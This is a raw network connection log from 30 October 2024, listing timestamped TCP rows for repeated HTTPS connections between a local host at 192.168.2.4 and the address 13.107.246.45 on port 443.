Oct 30, 2024 20:14:02.474839926 CET	49784	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.474843025 CET	443	49784	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.477236986 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.477257967 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.477329016 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.477466106 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.477478981 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.509215117 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.509318113 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.509394884 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.509531021 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.509557009 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.509572029 CET	49788	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.509579897 CET	443	49788	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.512550116 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.512593985 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:02.512687922 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.512849092 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:02.512861967 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.192116976 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.192631960 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.192667007 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.193193913 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.193201065 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.201968908 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.202374935 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.202404976 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.202878952 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.202886105 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.209809065 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.210308075 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.210330963 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.210731983 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.210736036 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.225956917 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.226300001 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.226316929 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.226686954 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.226692915 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.244693995 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.245054007 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.245075941 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.245476961 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.245481014 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.324407101 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.324481010 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.324548960 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.327007055 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.327043056 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.327095032 CET	49790	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.327105045 CET	443	49790	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.329746962 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.329782009 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.329864979 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.330007076 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.330018997 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.331515074 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.331727982 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.331775904 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.331815958 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.331815958 CET	49791	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.331835032 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.331847906 CET	443	49791	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.333781958 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.333830118 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.333894968 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.333986998 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.333996058 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.340537071 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.340603113 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.340646029 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.340708971 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.340714931 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.340728045 CET	49792	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.340732098 CET	443	49792	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.342498064 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.342542887 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.342618942 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.342736959 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.342751980 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.366339922 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.366398096 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.366445065 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.366564035 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.366569042 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.366583109 CET	49789	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.366589069 CET	443	49789	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.368412971 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.368433952 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.368499041 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.368611097 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.368628025 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.376101971 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.376279116 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.376467943 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.376518011 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.376527071 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.376537085 CET	49793	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.376540899 CET	443	49793	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.378241062 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.378282070 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:03.378345966 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.378596067 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:03.378611088 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.066762924 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.067287922 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.067326069 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.067621946 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.067914963 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.067944050 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.067965031 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.067977905 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.068366051 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.068375111 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.069483042 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.069847107 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.069928885 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.070270061 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.070300102 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.113498926 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.114044905 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.114061117 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.114520073 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.114525080 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.133682966 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.134133101 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.134154081 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.134574890 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.134581089 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.199419022 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.199693918 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.199776888 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.199820042 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.199840069 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.199848890 CET	49795	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.199856043 CET	443	49795	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.202395916 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.202399015 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.202439070 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.202488899 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.202613115 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.202636957 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.202650070 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.202656031 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.202689886 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.202708960 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.202719927 CET	49794	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.202724934 CET	443	49794	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.204464912 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.204509020 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.204575062 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.204694986 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.204708099 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.218270063 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.218441010 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.218493938 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.218544960 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.218544960 CET	49796	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.218564987 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.218579054 CET	443	49796	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.220058918 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.220078945 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.220138073 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.220240116 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.220247030 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.246992111 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.247035980 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.247075081 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.247170925 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.247179031 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.247195005 CET	49797	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.247200012 CET	443	49797	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.248701096 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.248742104 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.248802900 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.249038935 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.249056101 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.520652056 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.520754099 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.520811081 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.528656960 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.528656960 CET	49798	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.528680086 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.528693914 CET	443	49798	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.530972958 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.531008959 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.531083107 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.531198978 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.531213999 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.933581114 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.934032917 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.934073925 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.934475899 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.934484005 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.936219931 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.936754942 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.936815023 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.937146902 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.937160969 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.942841053 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.943869114 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.943883896 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.944387913 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.944396019 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.987087011 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.987554073 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.987591982 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:04.988013029 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:04.988019943 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080101967 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080104113 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080116987 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080187082 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080188036 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080207109 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080251932 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.080255985 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.080266953 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.080437899 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.080497026 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080533981 CET	49799	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.080549955 CET	443	49799	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080549955 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.080576897 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.080595016 CET	49800	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.080602884 CET	443	49800	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.081821918 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.081835985 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.081846952 CET	49801	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.081851959 CET	443	49801	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.083908081 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.083954096 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.084024906 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.084427118 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.084445000 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.084566116 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.084614992 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.084662914 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.084889889 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.084908009 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.085247040 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.085259914 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.085319042 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.085422039 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.085438967 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.121526957 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.121787071 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.121861935 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.121915102 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.121915102 CET	49802	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.121942997 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.121957064 CET	443	49802	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.124677896 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.124723911 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.124813080 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.124946117 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.124955893 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.266352892 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.266979933 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.267005920 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.267457008 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.267462969 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.403206110 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.403285027 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.403410912 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.405035019 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.405052900 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.405069113 CET	49803	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.405076027 CET	443	49803	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.408035994 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.408061028 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.408155918 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.408335924 CET	49808	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.408346891 CET	443	49808	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.807775974 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.808278084 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.808290005 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.808747053 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.808752060 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.809508085 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.809752941 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.809782028 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.810074091 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.810081005 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.818435907 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.818680048 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.818701029 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.819015980 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.819021940 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.869276047 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.869798899 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.869822025 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.870172977 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.870177984 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.938545942 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.938647985 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.938801050 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.939240932 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.939240932 CET	49806	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.939263105 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.939275026 CET	443	49806	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.942276001 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.942373991 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.942473888 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.942595959 CET	49809	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.942620039 CET	443	49809	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.951025009 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.951101065 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.951153994 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.951319933 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.951325893 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.951345921 CET	49804	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.951351881 CET	443	49804	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.953691006 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.953727007 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:05.953804016 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.953948021 CET	49810	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:05.953958035 CET	443	49810	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.006192923 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.006283998 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.006340981 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.006542921 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.006563902 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.006577015 CET	49807	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.006582975 CET	443	49807	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.009386063 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.009450912 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.009561062 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.009716988 CET	49811	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.009741068 CET	443	49811	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.093373060 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.093544960 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.093614101 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.095617056 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.095640898 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.095652103 CET	49805	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.095658064 CET	443	49805	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.098998070 CET	49812	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:06.099051952 CET	443	49812	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:06.099209070 CET	49812	443	192.168.2.4	13.107.246.45
